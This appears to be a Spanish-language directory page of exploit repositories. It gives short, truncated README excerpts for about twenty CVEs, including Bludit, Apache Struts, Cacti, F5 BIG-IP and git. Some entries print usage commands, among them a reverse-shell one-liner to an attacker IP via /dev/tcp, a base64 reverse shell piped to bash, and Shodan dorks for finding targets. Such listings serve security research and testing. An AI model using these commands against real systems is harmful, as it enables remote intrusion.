CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

CVE-2019-12409

CVE-2019-12409 RCE en Apache Solr ENABLEREMOTEJMXOPTS="true" root@kitploit: root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true"...

struts-pwn

struts-pwn Un exploit para Apache Struts CVE-2017-5638 Uso Probando una sola URL. python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Probando una lista de URLs. python struts-pwn.py --list 'urls.txt' -c 'id' Comprobando si la vulnerabilidad existe en una sola UR...

mcpjam-to-root

⚠️ Disclaimer This repository is intended for authorized security research, penetration testing, and educational purposes only. Do not use the techniques described here against systems without explicit authorization. ⚡ MCPJam → Root From MCPJam Inspector RCE to root — CVE-2026-23744, JupyterLab...

CVE-2020-6418

CVE-2020-6418 El CVE-2020-6418 trata sobre la confusión de tipos en V8 de Google Chrome. Las versiones afectadas fueron anteriores a 80.0.3987.122. La vulnerabilidad se logra mediante un atacante remoto que accede al shell de un dispositivo objetivo a través de una página HTML manipulada...

CVE-2023-34039

CVE-2023-34039 PoC para CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight RCE por clave SSH estática Análisis técnico Un análisis de causa raíz de la vulnerabilidad se puede encontrar en mi blog:...

CVE-2022-46169

Vulnerabilidad de ejecución remota de comandos en Cacti remoteagent.php CVE-2022-46169 Descripción de la vulnerabilidad Cacti es una plataforma de monitoreo y gestión de servidores. En sus versiones 1.2.17-1.2.22 existe una vulnerabilidad de inyección de comandos que permite a un atacante omitir ...

concealed_code_execution

Ejecución de Código Oculto Hunt& Hackett presenta un conjunto de herramientas y documentos técnicos que describen técnicas de ataque que se basan en ocultar la ejecución de código en Windows. Aquí encontrará explicaciones de cómo funcionan estas técnicas, consejos sobre detección y código fuente ...

Php-unit-CVE-2017-9841

Vulnerabilidad de ejecución remota de código en phpunit CVE-2017-9841 Composer es una herramienta de gestión de paquetes de PHP. Al usar Composer para instalar un paquete de extensión, se creará una carpeta 'vendor' en el directorio actual y todos los archivos se colocarán allí. Normalmente, este...

Variatype.htb-CVE-2025-66034

Hackthebox Season 10 - Variatype Este script te dará acceso inicial. Primero, instala los módulos requeridos usando pip pip3 install -r requirements.txt Uso python3 exploit.py 'id' o python3 exploit.py 'echo BASE64ENCODEDREVSHELL | base64 -d | bash'...

Laravel-CVE-2018-15133

CVE-2018-15133 - Vulnerabilidad de deserialización de la APPKEY de Laravel WhiteHat School tercera promoción, clase 28, Lee Yebin - Virtualización: configuración de Docker vulnerable https://github.com/yeahhbean/Laravel-CVE-2018-15133 Resumen Este proyecto es un entorno basado en Docker creado pa...

CVE-2020-5902

CVE-2020-5902 Exploit automático RCE CVE-2020-5902 F5 BIG-IP RCE + LEER ARCHIVO Dorks : http.title:"BIG-IP®- Redirect" Usando shodan.io...

dejavu

DejaVu Este contenedor ejecuta una aplicación web que analiza imágenes y devuelve sus metadatos usando exiftool. Los usuarios envían a la aplicación una URL de una imagen y la aplicación la recupera, la analiza y devuelve los resultados. La versión de exiftool utilizada por la aplicación es...

CVE-2024-25600

CVE-2024-25600 Ejecución Remota de Código no autenticada – Bricks Uso: python3 bricks.py Ejemplo: python3 bricks.py https://example.org referencia: https://github.com/Chocapikk/CVE-2024-25600...

CVE-2021-40845

CVE-2021-40845 I. VULNERABILIDAD AlphaWeb XE: carga insegura de archivos autenticada que conduce a RCE II. REFERENCIA CVE CVE-2021-40845 III. PROVEEDOR https://www.zenitel.com/ IV. DESCRIPCIÓN La parte web del servidor de audio Zenitel AlphaCom XE hasta la versión 11.2.3.10, denominada AlphaWeb X...

CVE-2022-24481-POC

CVE-2022-24481-POC TL;DR Este PoC está extraído del exp SHA1:fec933b0c46366a1fb272bfaf82a8262597a8d75 y muchos motores antivirus lo detectaron como CVE-2022-24521. Después de analizarlo, descubrí que probablemente sea el exp para CVE-2022-24481, porque CVE-2022-24521 no es una vulnerabilidad de...

CVE-2026-40859

camel-netty-http / camel-vertx-http Reproducción de deserialización insegura de respuestas HTTP CVE-2026-40859 Este proyecto demuestra una vulnerabilidad de deserialización de Java en los componentes camel-netty-http y camel-vertx-http de Apache Camel, registrada como CVE-2026-40859. Cuando un...

CVE-2018-6574-go-get-RCE

Este repositorio no tiene un README...

CVE-2026-47323

camel-cxf-rest / camel-cxf / camel-knative-http Reproductor de inyección de cabeceras CVE-2026-47323 Este proyecto demuestra una inyección de cabeceras de mensaje en las estrategias de filtrado de cabeceras HTTP de CXF y Knative de Apache Camel, registrada como CVE-2026-47323...

cve-2024-32002-poc-rce

CVE-2024-32002 RCE POC Un POC para CVE-2024-32002 que demuestra Ejecución Remota de Código RCE. Vea cve-2024-32002-poc-rce para el repositorio de submódulos relacionado. Lo que contiene este repositorio Un enlace simbólico con un nombre arbitrario que enlaza al directorio .git. Un archivo...